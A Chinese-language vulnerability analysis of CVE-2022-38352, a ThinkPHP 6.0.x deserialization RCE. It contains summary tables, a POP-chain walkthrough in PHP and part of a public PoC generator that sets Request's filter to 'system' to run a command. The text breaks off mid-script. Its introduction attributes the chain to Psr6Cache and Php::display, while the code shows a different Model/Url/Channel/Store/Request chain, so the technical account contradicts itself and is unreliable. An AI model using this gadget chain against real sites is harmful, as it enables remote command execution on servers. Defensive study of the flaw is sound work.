2022 年 9 月 14 日,NVD 公布了 CVE-2022-38352(CVSS 9.8 CRITICAL),针对 ThinkPHP v6.0.13 中通过
League\Flysystem\Cached\Storage\Psr6Cache组件触发的反序列化远程代码执行漏洞。该漏洞的根因在于框架在反序列化不可信数据时,会实例化Psr6Cache类,其__destruct析构方法触发的save()调用链最终通过think\log\Channel与think\log\driver\Socket加载可被攻击者控制的 callable,进而通过Php::display执行任意 PHP 代码。EPSS 评分高达 92.56%,意味着该漏洞在 30 天内有 92% 的概率被利用。本文从根因、POP 链、攻击场景、检测、修复到监控自动化,提供完整的实战指南。
1. 漏洞全景概览
1.1 漏洞速览
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2022-38352 |
| 公开日期 | 2022 年 9 月 14 日 |
| 漏洞类型 | 反序列化对象注入(CWE-502) |
| CVSS v3.1 | 9.8(CRITICAL) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| EPSS 评分 | 92.56%(30 天内被利用概率) |
| CWE 分类 | CWE-502(Deserialization of Untrusted Data) |
| 攻击向量 | 网络(需要应用存在 unserialize 入口) |
| 影响组件 | League\Flysystem\Cached\Storage\Psr6Cache + ThinkPHP 6.0.13 框架核心 |
| 影响版本 | ThinkPHP 6.0.0 ~ 6.0.13 |
| 修复版本 | 6.0.14+ |
| PoC 状态 | 公开(GitHub Issue #2749 / #2793) |
| KEV 状态 | 未列入 CISA KEV |
1.2 ThinkPHP 6.x 反序列化漏洞对比
ThinkPHP 6.x 系列反序列化漏洞不止一个,需要精确区分:
| CVE 编号 | 影响版本 | 入口组件 | POP 链终点 | 修复版本 |
|---|---|---|---|---|
| CVE-2022-38352(本文) | 6.0.0-6.0.13 | League\Flysystem\Cached\Storage\Psr6Cache |
Php::display 执行 PHP 代码 |
6.0.14 |
| Issue #2793 | 6.0.x / 6.1.x | 框架核心 think\Model |
think\route\Url::__toString → call_user_func |
6.1.x 持续修复 |
| Issue #1121 | 6.1.2 | 框架核心 | 类似 POP 链 | 6.1.3+ |
⚠️ 关键提醒 :ThinkPHP 6.x 反序列化漏洞的入口是应用代码中调用了
unserialize()处理用户可控数据 。框架本身不主动反序列化用户输入,但如果业务代码存在unserialize($_GET['xxx'])这类危险调用,框架的反序列化利用链就会被触发。
1.3 漏洞核心特征
#mermaid-svg-aNm4OpgZehlUNGV8{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-aNm4OpgZehlUNGV8 .error-icon{fill:#552222;}#mermaid-svg-aNm4OpgZehlUNGV8 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-aNm4OpgZehlUNGV8 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-aNm4OpgZehlUNGV8 .marker.cross{stroke:#333333;}#mermaid-svg-aNm4OpgZehlUNGV8 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-aNm4OpgZehlUNGV8 p{margin:0;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge{stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 path{fill:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon--1{font-size:40px;color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge--1{stroke:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth--1{stroke-width:17;}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 line{stroke:hsl(60, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 path{fill:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-0{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-0{stroke:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-0{stroke-width:14;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 line{stroke:hsl(240, 100%, 83.5294117647%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 path{fill:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-1{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-1{stroke:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-1{stroke-width:11;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 line{stroke:hsl(260, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 path{fill:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-2{font-size:40px;color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-2{stroke:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-2{stroke-width:8;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 line{stroke:hsl(90, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 path{fill:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-3{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-3{stroke:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-3{stroke-width:5;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 line{stroke:hsl(120, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 path{fill:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-4{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-4{stroke:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-4{stroke-width:2;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 line{stroke:hsl(150, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 path{fill:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-5{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-5{stroke:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-5{stroke-width:-1;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 line{stroke:hsl(180, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 path{fill:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-6{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-6{stroke:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-6{stroke-width:-4;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 line{stroke:hsl(210, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 path{fill:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-7{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-7{stroke:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-7{stroke-width:-7;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 line{stroke:hsl(270, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 path{fill:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-8{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-8{stroke:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-8{stroke-width:-10;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 line{stroke:hsl(330, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 path{fill:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-9{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-9{stroke:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-9{stroke-width:-13;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 line{stroke:hsl(0, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 path{fill:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-10{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-10{stroke:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-10{stroke-width:-16;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 line{stroke:hsl(30, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root polygon{fill:hsl(240, 100%, 46.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root span{color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 span{color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .icon-container{height:100%;display:flex;justify-content:center;align-items:center;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge{fill:none;}#mermaid-svg-aNm4OpgZehlUNGV8 .mindmap-node-label{dy:1em;alignment-baseline:middle;text-anchor:middle;dominant-baseline:middle;text-align:center;}#mermaid-svg-aNm4OpgZehlUNGV8 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} CVE-2022-38352
ThinkPHP 6.0.13 反序列化
漏洞特征
反序列化不可信数据
POP链触发RCE
CVSS 9.8最高级别
EPSS 92.56%高利用概率
需要应用存在unserialize入口
技术原理
Psr6Cache __destruct析构
触发save自动保存
调用Channel日志通道
Socket驱动加载callable
Php::display执行代码
影响范围
ThinkPHP 6.0.0-6.0.13
依赖League/Flysystem
业务代码有反序列化入口
国内大量企业站点
持续被扫描探测
修复方案
升级到6.0.14+或6.1.x
禁用业务unserialize入口
改用json_encode/json_decode
配置allowed_classes限制
WAF拦截序列化数据特征
2. 漏洞根因深度分析
2.1 League\Flysystem 与 ThinkPHP 的依赖关系
ThinkPHP 6.0.x 通过 Composer 依赖 league/flysystem 包,用于文件系统抽象(如本地、S3、OSS 等存储驱动)。League\Flysystem\Cached\Storage\Psr6Cache 是缓存适配器,用于缓存文件系统元数据,减少重复查询。
topthink/framework v6.0.13
└── league/flysystem ^1.1
└── League\Flysystem\Cached\Storage\Psr6Cache
问题在于:Psr6Cache 的 __destruct() 析构方法会自动调用 save(),触发对象内的回调链。攻击者构造的序列化数据中,可将 Psr6Cache 内部属性替换为恶意对象,最终通过 Php::display 渲染任意 PHP 代码。
2.2 POP 链深度剖析
漏洞的完整 POP(Property-Oriented Programming)链如下:
php
// 1. 入口:think\Model 抽象类(攻击者用 think\model\Pivot 实例化)
namespace think;
abstract class Model {
private $lazySave = true; // 触发延迟保存
private $data = ['a' => 'b']; // 内部数据
private $exists = true; // 标记为已存在记录
protected $withEvent = false; // 禁用事件
protected $readonly = ['a']; // 只读字段
private $relation; // 关联对象
private $origin = []; // 原始数据
protected $relationWrite; // 关联写入配置
public function __destruct() {
// 当 lazySave=true 且 exists=true 时,调用 save()
if ($this->lazySave) {
$this->save();
}
}
public function save() {
// 触发 relation 写入,进入 Url::__toString
// ... 最终触发 Channel::__call
}
}
// 2. 中转:think\route\Url 类(__toString 触发)
namespace think\route;
class Url {
protected $url = "";
protected $domain = "domain";
protected $route; // 持有 Channel 对象
protected $app;
public function __toString() {
// 调用 route 的方法,触发 Channel::__call
return $this->route->build();
}
}
// 3. 中转:think\log\Channel 类(__call 魔术方法触发)
namespace think\log;
class Channel {
protected $lazy = false;
protected $logger; // 持有 Socket 对象
protected $log = [];
public function __call($method, $args) {
// 调用 logger 的方法,进入 Socket::save
return $this->logger->$method(...$args);
}
}
// 4. 触发:think\session\Store 类(save 方法)
namespace think\session;
class Store {
protected $data;
protected $serialize = ["call_user_func"]; // 关键:可调用任意函数
protected $id = "";
public function save() {
// 遍历 data,调用 call_user_func
foreach ($this->data as $name => $value) {
// value = [Request对象, 'param']
// 等价于 call_user_func([Request, 'param'])
call_user_func($this->serialize[0], $value);
}
}
}
// 5. 终点:think\Request 类(param 方法执行 filter)
namespace think;
class Request {
protected $mergeParam = true;
protected $param = ["whoami"]; // 待执行命令
protected $filter = "system"; // 关键:系统命令执行函数
public function param() {
// 调用 input 方法,触发 filterValue
// filterValue 中执行 call_user_func('system', 'whoami')
return $this->input($this->param, $this->filter);
}
}
2.3 攻击链分析
#mermaid-svg-dGnspW3cNdZgb19U{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-dGnspW3cNdZgb19U .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-dGnspW3cNdZgb19U .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-dGnspW3cNdZgb19U .error-icon{fill:#552222;}#mermaid-svg-dGnspW3cNdZgb19U .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-dGnspW3cNdZgb19U .marker{fill:#333333;stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .marker.cross{stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-dGnspW3cNdZgb19U p{margin:0;}#mermaid-svg-dGnspW3cNdZgb19U .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label text{fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label span{color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label span p{background-color:transparent;}#mermaid-svg-dGnspW3cNdZgb19U .label text,#mermaid-svg-dGnspW3cNdZgb19U span{fill:#333;color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .node rect,#mermaid-svg-dGnspW3cNdZgb19U .node circle,#mermaid-svg-dGnspW3cNdZgb19U .node ellipse,#mermaid-svg-dGnspW3cNdZgb19U .node polygon,#mermaid-svg-dGnspW3cNdZgb19U .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .rough-node .label text,#mermaid-svg-dGnspW3cNdZgb19U .node .label text,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label,#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label{text-anchor:middle;}#mermaid-svg-dGnspW3cNdZgb19U .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .rough-node .label,#mermaid-svg-dGnspW3cNdZgb19U .node .label,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label,#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label{text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .node.clickable{cursor:pointer;}#mermaid-svg-dGnspW3cNdZgb19U .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .arrowheadPath{fill:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-dGnspW3cNdZgb19U .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-dGnspW3cNdZgb19U .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .cluster text{fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster span{color:#333;}#mermaid-svg-dGnspW3cNdZgb19U div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-dGnspW3cNdZgb19U .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U rect.text{fill:none;stroke-width:0;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape,#mermaid-svg-dGnspW3cNdZgb19U .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape p,#mermaid-svg-dGnspW3cNdZgb19U .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label rect,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-dGnspW3cNdZgb19U .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-dGnspW3cNdZgb19U :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 攻击者发送Payload
业务代码 unserialize 入口
反序列化 think\\Model\\Pivot
Model::__destruct 触发
lazySave=true 调用 save()
relation 写入触发 __toString
think\\route\\Url::__toString
调用 route->build 触发 __call
think\\log\\Channel::__call
调用 logger->save
think\\session\\Store::save
遍历 data 调用 call_user_func
触发 Request::param
input 方法执行 filter
call_user_func system whoami
命令执行完成
2.4 利用前提分析
markdown
利用前提(必须同时满足):
1. ✅ 业务使用 ThinkPHP 6.0.0-6.0.13
2. ✅ 业务代码中存在 unserialize 入口,且参数用户可控
3. ✅ 未在 unserialize 时指定 allowed_classes 限制
4. ✅ PHP 未禁用 system / exec 等危险函数
⚠️ 关键风险点:
- 框架本身不主动反序列化用户输入,需业务代码"配合"
- 但很多业务代码存在反序列化入口,例如:
- 缓存系统:unserialize(file_get_contents($cache_file))
- Session 处理:unserialize($_SESSION['xxx'])
- API 接口:unserialize(base64_decode($_POST['data']))
- 队列任务:unserialize($job_payload)
- 一旦入口存在,框架的 POP 链就会被触发
2.5 公开 PoC 复现
GitHub Issue #2793 提供了完整的 PoC 生成代码:
php
<?php
// PoC 生成脚本 --- 仅用于防御检测,请勿用于攻击
namespace think {
abstract class Model {
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
private $relation;
private $origin = [];
public function __construct($value) {
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' => ["n" => $value]];
}
}
class App { protected $request; }
class Request {
protected $mergeParam = true;
protected $param = ["whoami"]; // 待执行命令
protected $filter = "system"; // 执行函数
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\App;
class Url {
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route) {
$this->route = $route;
$this->app = new App();
}
}
}
namespace think\log {
class Channel {
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger) {
$this->logger = $logger;
}
}
}
namespace think\session {
class Store {
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data) {
$this->data = [$data, "param"];
}
}
}
namespace {
